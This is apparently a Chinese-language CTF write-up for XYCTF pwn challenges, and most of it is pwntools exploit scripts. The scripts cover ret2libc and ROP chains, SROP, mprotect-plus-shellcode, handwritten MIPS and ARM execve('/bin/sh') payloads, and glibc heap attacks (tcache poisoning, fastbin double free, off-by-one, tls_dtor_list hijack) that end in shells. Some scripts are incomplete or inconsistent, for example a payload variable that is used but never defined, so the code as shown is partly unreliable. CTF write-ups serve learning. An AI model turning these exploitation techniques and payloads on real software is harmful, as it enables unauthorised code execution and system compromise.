PWN
差fmt 和 heap plus
签到
栈溢出,printf截断泄露llibc
p = remote('xyctf.top',33874)
#p = process('./vuln')
libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')
payload = b'a'*39 + b'b'
# debug()
s(payload)
libcbase = get_addr() - 0x29d90
rdi = libcbase + 0x2a3e5
ret = libcbase + 0x29139
print("libc",hex(libcbase))
system,sh = ret2libc(libcbase)
payload = b'a'*40 +p64(ret) +p64(rdi) + p64(sh) + p64(system)
sl(payload)
inter()
invisible_flag
禁用orw execve 还有openat 和sendfile
p = remote('xyctf.top',34464)
#p = process('./vuln')
libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')
shellcode = shellcraft.openat('AT_FDCWD','./flag',0,0)
shellcode = shellcraft.sendfile(1,3,0,50) #标准输出,文件描述符,开始位置,输入大小
sl(asm(shellcode))
inter()
static_link
静态链接 ,栈溢出 ,mprotect改权限,打shellcode
p = process('./vuln')
context(os = 'linux', arch = 'amd64', log_level='debug')
mprotect = 0x4482C0
rdi = 0x401f1f
rsi_r15 = 0x401f1d
rdx = 0x451322
addr = 0x4c8000
read = 0x447580
payload = b'a'*40 + p64(rdi) + p64(addr) + p64(rsi_r15) + p64(0x1000)*2 + p64(rdx) + p64(0x7) +p64(mprotect) +p64(0x40181A)
sl(payload)
payload2 = b'a'*40 + p64(rdi) + p64(0) + p64(rsi_r15) + p64(addr)*2 + p64(rdx) + p64(0x100) + p64(read) + p64(addr)
sl(payload2)
shellcode = asm(shellcraft.sh())
sl(shellcode)
inter()
guestbook
数组越界一个字节
改rbp末位一字节,栈填满后门地址 ,2次leave ret 栈迁移
p = process('./pwn')
# libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')
#elf = ELF('./pwn')
ret = 0x40101a
backdoor = 0x401328
for i in range(32):
sla(b'index\n',str(i))
sa(b'name:\n',p64(backdoor)*2)
sla(b'id:\n',b'255')
sla(b'index\n',str(32))
sa(b'name:\n',p64(backdoor)*2)
sla(b'id:\n',b'128')
sla(b'index\n',str(-1))
inter()
baby_gift
栈溢出,没有pop rdi
审计代码,利用gift函数可以传rdi
用printf +%p 泄露libc
控制rbp的值来让fgets输入到0x404f80
最后ret到0x404fa8
构造rop链
p = remote('xyctf.top',60938)
#p = process('./gift')
libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')
ret = 0x40101a
addr = 0x401274
sl(b'aaaa')
payload1 = b'%p%p%p%p' + p64(0x404fa0)*4 + p64(addr)
sla(b'passwd:\n',payload2)
libcbase = int(p.recv(14),16) - 131 - libc.sym['_IO_2_1_stdin_']
system = libcbase + libc.sym['system']
payload3 = b'/bin/sh\x00'*5+ p64(ret)+p64(system)
sl(payload2)
inter()
simple_srop
p = remote('10.133.11.229',49547)
#p = process('./vuln')
libc = ELF('./libc-2.31.so')
context(os = 'linux', arch = 'amd64', log_level='debug')
syscall_ret = 0x40129d #syscall ret
set_rax_15 = 0x401296
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x404100
frame.rdx = 0x500
frame.rip = syscall_ret
frame.rbp = 0x404120
frame.rsp = 0x404120
payload = flat([b'a'*0x28,set_rax_15,frame])
p.sendline(payload)
openflag = SigreturnFrame()
openflag.rax = 2
openflag.rdi = 0x404100
openflag.rsi = 0
openflag.rdx = 0
openflag.rbp = 0x404220
openflag.rsp = 0x404220
openflag.rip = syscall_ret
readflag = SigreturnFrame()
readflag.rax = 0
readflag.rdi = 0x3
readflag.rsi = 0x404800
readflag.rdx = 0x50
readflag.rbp = 0x404320
readflag.rsp = 0x404320
readflag.rip = syscall_ret
writeflag = SigreturnFrame()
writeflag.rax = 1
writeflag.rdi = 1
writeflag.rsi = 0x404800
writeflag.rdx = 0x50
writeflag.rbp = 0x404420
writeflag.rsp = 0x404420
writeflag.rip = syscall_ret
payload2 = flat([b'flag\x00\x00\x00\x00',b'a'*0x18,set_rax_15,openflag,set_rax_15,readflag,set_rax_15,writeflag])
# debug()
p.sendline(payload2)
inter()
ez_1.0?
mips32静态小端 ,栈溢出,无栈地址
通过mipsrop找到如下gadget
#mipsrop.stackfinder()
.text:00427968 addiu $a2, $sp, 0x68+var_10
.text:00427978 move $t9, $fp
.text:00427990 jalr $t9
#mipsrop.find('move $t9,$a2')
.text:0041FBF4 move $t9, $a2
.text:0041FBF8 jr $t9
在0x78 + s p 地址赋值给 sp地址赋值给 sp地址赋值给a2,跳转执行$fp
so,在0x78 + s p 写 s h e l l c o d e ,再在 sp写shellcode,再在 sp写shellcode,再在fp写跳转执行a2的gadget
#p = process(['qemu-mipsel-static','-g','1234','-L','.','./mips'])
context(os = 'linux',log_level = 'debug',arch='mips')
context.endian = 'little'
shellcode = b"" #len = (0x30)
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404
payload = b''
payload = payload.ljust(64,b'\x00') + p32(0x41FBF4) #0x40 + $fp
payload += p32(0x427968) #ret_addr
payload = payload.ljust(184,b'\x00')
payload += shellcode
# pause()
p.send(payload)
inter()
Intermittent
可写入3段 4字节shellcode
思路:再调用read 向0x114514000写入shell
利用jmp 短跳转 连接shellcode,用3个pop rsi 把栈中的0x114514000赋值给rsi ,syscall调用read写入sh
#p = process('./vuln')
#libc = ELF('./libc-2.31.so')
context(os = 'linux', arch = 'amd64', log_level='debug')
shellcode = b'\x5E\x5E\xeb\x0c'+ b'\x5e\x90\xeb\x0c'+b'\x0F\x05'
sa(b'show your magic:',shellcode)
shellcode_2 = b'\x90'*40 + asm(shellcraft.sh())
sleep(1)
s(shellcode_2)
inter()
ez_2.0?
arm架构静态32位 栈溢出
svc系统调用
-
R0 = “/bin/sh”
-
R1 = 0
-
R2 = 0
-
R7 = 0xb (对应arm下execve的系统调用)
-
Rx = svc
blx 跳转rx执行
#p = process(['qemu-arm','-g','1234','-L','.','./arm'])
# 0x00043224 : mov r2, r4 ; blx r3
# 0x0005f73c : pop {r0, pc}
# 0x0005f824 : pop {r1, pc}
# 0x00010160 : pop {r3, pc}
# 0x000280a4 : pop {r4, r7, pc}
# 0x0002337c : svc #0 ; pop {r4, r5, r6, r7, r8, pc}
mov_r2_r4 = 0x43224
svc = 0x2337c
pop_r0 = 0x5f73c
pop_r1 = 0x5f824
pop_r3 = 0x10160
pop_r4_r7 = 0x280a4
sh_addr = 0x8A090
payload = b'\x00'*68 + p32(pop_r0) + p32(sh_addr)
payload += p32(pop_r1) + p32(0)
payload +=p32(pop_r4_r7) + p32(0) + p32(0xb)
payload += p32(pop_r3) + p32(0x2337c) + p32(0x43224)
s(payload)
inter()
ptmalloc2 it’s myheap
libc-2.35 add 存在溢出,将堆指针放在下一个chunk的prev_size中 ,chunk_list 指针free后未置0
思路:伪造chunk 造成堆块重叠,tcache bin attack 分配chunk到gift为system(/bin/sh)
#p = process('./heap')
libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')
def add(index,size,Content):
sla(b'>>>',b'1')
sla(b'idx:',str(index))
sla(b'size:',str(size))
sla(b'data:',Content)
def free(index):
sla(b'>>>',b'2')
sla(b'id:',str(index))
def show(index):
sla(b'>>>',b'3')
sla(b'id:',str(index))
sla(b'>>>',b'114514')
rl(b'gift: ')
libcbase = int(p.recv(14),16) - libc.sym['puts']
print("libcbase===>",hex(libcbase))
add(0,0x28,b'aaaa')
add(1,0x28,b'bbbb')
add(2,0x18,b'cccc')
free(0)
free(1) # 将2个0x20大小chunk_list free掉
add(3,0x18,b'a'*0xf) #再申请出来就可以泄露chunk_list_0在堆上存的地址
show(3)
rl(b'a\n')
heap_base = u64(p.recv(4).ljust(8,b'\x00')) - 0x2c0
print("heap_base===>",hex(heap_base))
free(3)
#将第2字段改成1绕过程序中的free的判断,再修改chunk_list_1存的地址指向即将伪造的地址
add(3,0x18,p64(0)+p64(1)+p64(heap_base + 0x2d0))
add(4,0x28,p64(0)*4)
#伪造0xa1大小的chunk,地址0x2d0
add(5,0x28,p64(0x30)+p64(0xa1)*3)
#利用uaf,让fake_chunk进入tcache bin
free(1)
add(6,0x28,p64(0)*4)
#让fake_chunk内部的chunk 进入bin
free(6)
free(4)
#利用堆块重叠,泄露fake_chunk 的a
show(5)
rl(b'\x00\xa1')
p.recv(16)
a = u64(p.recv(8))
fd = (heap_base >> 12)^0x404070
#覆盖伪造fd
fake_chunk = p64(0)*3 + p64(0x21) + p64(heap_base >> 12) + p64(0)
fake_chunk += p64(heap_base + 0x3c0) + p64(0x31) + p64(fd) + p64(a)
add(8,0x90,fake_chunk)
system = libcbase + libc.sym['system']
add(9,0x28,b'1')
add(10,0x28,b'/bin/sh\x00' + p64(system)*2 )
sla(b'>>>',b'114514')
inter()
fastfastfast
2.31 uaf 无edit add限制大小
参考fastbin关于chunk size检查问题&&花式泄露libc&&极限getshell&&huxiangbei_2019_namesyste_shell中的chunksize-CSDN博客
fastbin double free 分配堆到chunklist 。覆盖chunklist 1为 free_got地址 泄露libc
再进行一次double free 将堆分配到free_got 覆盖free_got为sytem
覆盖fd的时候 注意绕过tcache double free的检查
p = process('./vuln')
libc = ELF('./libc-2.31.so')
context(os = 'linux', arch = 'amd64', log_level='debug')
def add(index,Content):
sla(b'>>>',b'1')
sla(b'idx\n',str(index))
sa(b'content\n',Content)
def free(index):
sla(b'>>>',b'2')
sla(b'idx\n',str(index))
def show(index):
sla(b'>>>',b'3')
sla(b'idx\n',str(index))
for i in range(12):
add(i,b'a')
for i in range(7):
free(i)
free(8)
free(9)
free(8)
for i in range(7):
add(i,b'a')
add(0,p64(0x4040A8))
add(1,b'a')
add(2,b'a')
add(3,p64(0)*3+ p64(0x404018))
show(0)
libcbase = get_addr() - libc.sym['free']
print(hex(libcbase))
for i in range(12):
add(i,b'/bin/sh\x00')
for i in range(7):
free(i)
free(8)
free(9)
free(8)
for i in range(7):
add(i,b'a')
add(0,p64(0x404010))
add(1,b'a')
add(2,b'a')
add(3,p64(libcbase + libc.sym['system'])*2)
free(10)
inter()
one_byte
2.31 off by one
思路
- 填满
tcache bin
中0xc0
大小的堆块,使得下一块0xc0
大小的堆块被释放后会进入unsortedbin
- 申请6个
0x31
大小的堆块(第6个堆块用于防止unsortedbin大小堆块的合并) - 用第1个堆块修改第二个堆块的
size
位为0xc1
,再将第2个堆块释放掉,该堆块便能进入unsortedbin
- 切割
unsortedbin
泄露出libc
基址,并造成堆块重叠 - 利用堆块重叠,我们通过修改
fd
可以申请修改__free_hook
为system
def add(index,size):
sla(b'>>>',b'1')
sla(b'chunk_idx:',str(index))
sla(b'size:',str(size))
def free(index):
sla(b'>>>',b'2')
sla(b'chunk_idx:',str(index))
def edit(index,content):
sla(b'>>>',b'4')
sla(b'chunk_idx:',str(index))
sl(content)
def show(index):
sla(b'>>>',b'3')
sla(b'chunk_idx:',str(index))
for i in range(0,7):
add(i,0xb0)
for i in range(0,7):
free(i)
for i in range(7,13):
add(i,0x28)
edit(7,b'\x00'*0x28 + b'\xc1')
free(8)
add(13,0x28) #重叠chunk_7
show(9)
libcbase = get_addr() - libc.sym['__malloc_hook'] - 96 -0x10
print(hex(libcbase))
for i in range(14,17):
add(i,0x28)
free(15) # 15<->10
free(14) # 14<->9
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
edit(9,p64(free_hook))
add(17,0x28)
add(18,0x28)
edit(18,p64(system))
edit(17,b'/bin/sh\x00')
free(17)
inter()
malloc_flag
纯签到 malloc 一个0x100的chunk 直接show
ptmalloc2 it’s myheap pro
比普通版 少了个后门 没有直接给libc
[原创] Glibc-2.35下对tls_dtor_list的利用详解-Pwn-看雪-安全社区|安全招聘|kanxue.com
思路
- 利用溢出,泄露存在
prev_size
的堆地址 - 填满
tcache bin
0x90,构造堆块重叠,将0x90的fake chunk 进unsorted bin
泄露libc - 将fack chunk add 出来,并将地址范围内的 chunk free掉,leak出
key
- 根据偏移计算
tls_dtor_list
地址,覆盖fd - 再利用溢出覆盖
prve_size
的堆地址 为fs + 0x30
,并show 出其值 - add一个堆,写入 [
system
^fs + 0x30
再 循环左移 17位 ] +sh地址 - 将堆分配至
tls_dtor_list
,写入 我们刚刚的system所在的堆地址 exit(0)
get shell
#p = process('./vuln')
libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')
elf = ELF('./vuln')
def add(index,size,Content):
sla(b'>>>',b'1')
sla(b'idx:',str(index))
sla(b'size:',str(size))
sla(b'data:',Content)
def free(index):
sla(b'>>>',b'2')
sla(b'id:',str(index))
def show(index):
sla(b'>>>',b'3')
sla(b'id:',str(index))
def circular_left_shift(string, shift):
return string[shift:] + string[:shift]
add(0,0x28,b'aaaa')
add(1,0x28,b'bbbb')
add(2,0x18,b'cccc')
free(0)
free(1)
add(3,0x18,b'a'*0xf)
show(3)
rl(b'a\n')
heap_base = u64(p.recv(4).ljust(8,b'\x00')) - 0x2c0
print("heap_base===>",hex(heap_base))
free(3)
add(3,0x18,p64(0)+p64(1)+p64(heap_base + 0x2d0))
add(4,0x28,p64(0)*4)
add(5,0x28,p64(0x30)+p64(0x91)*3)
for i in range(6,13):
add(i,0x80,b'aaaa')
for i in range(6,13):
free(i)
free(1)
show(5)
libcbase = get_addr() - 0x21ace0
print(hex(libcbase))
for i in range(6,13):
add(i,0x80,b'aaaa')
add(1,0x80,b'a')
add(14,0x28,b'a')
free(14)
free(4)
show(1)
rl(b'\x00\x31')
p.recv(15)
a = u64(p.recv(8))
print("key===>",hex(a))
free(1)
tls_dtor_list = libcbase - 0x2920
print(hex(tls_dtor_list))
fd = (heap_base >> 12) ^ tls_dtor_list
fake_chunk = p64(0)*3 + p64(0x21) + p64(heap_base >> 12) + p64(0)
fake_chunk += p64(heap_base + 0x3c0) + p64(0x31) + p64(fd) + p64(a)
add(1,0x80,fake_chunk)
system = libcbase + libc.sym['system']
sh = libcbase + next(libc.search(b"/bin/sh"))
add(14,0x28,b'0')
fs = libcbase - 0x2890
print("fs--->",hex(fs))
free(6)
free(7)
add(4,0x18,p64(0x10) + p64(1) + p64(fs-0x8))
show(6)
rl(b'\x00')
p.recv(7)
fs_ = u64(p.recv(8))
system = system ^ fs_
num = bin(system)[2:].zfill(64)
shift = 17
result = int(circular_left_shift(num, shift),2)
print("addr ==",hex(result))
payload = p64(result) + p64(sh)
free(3)
add(3,0x18,payload)
add(15,0x28,p64(0) + p64(heap_base + 0x2a0))
sl(b'4')
inter()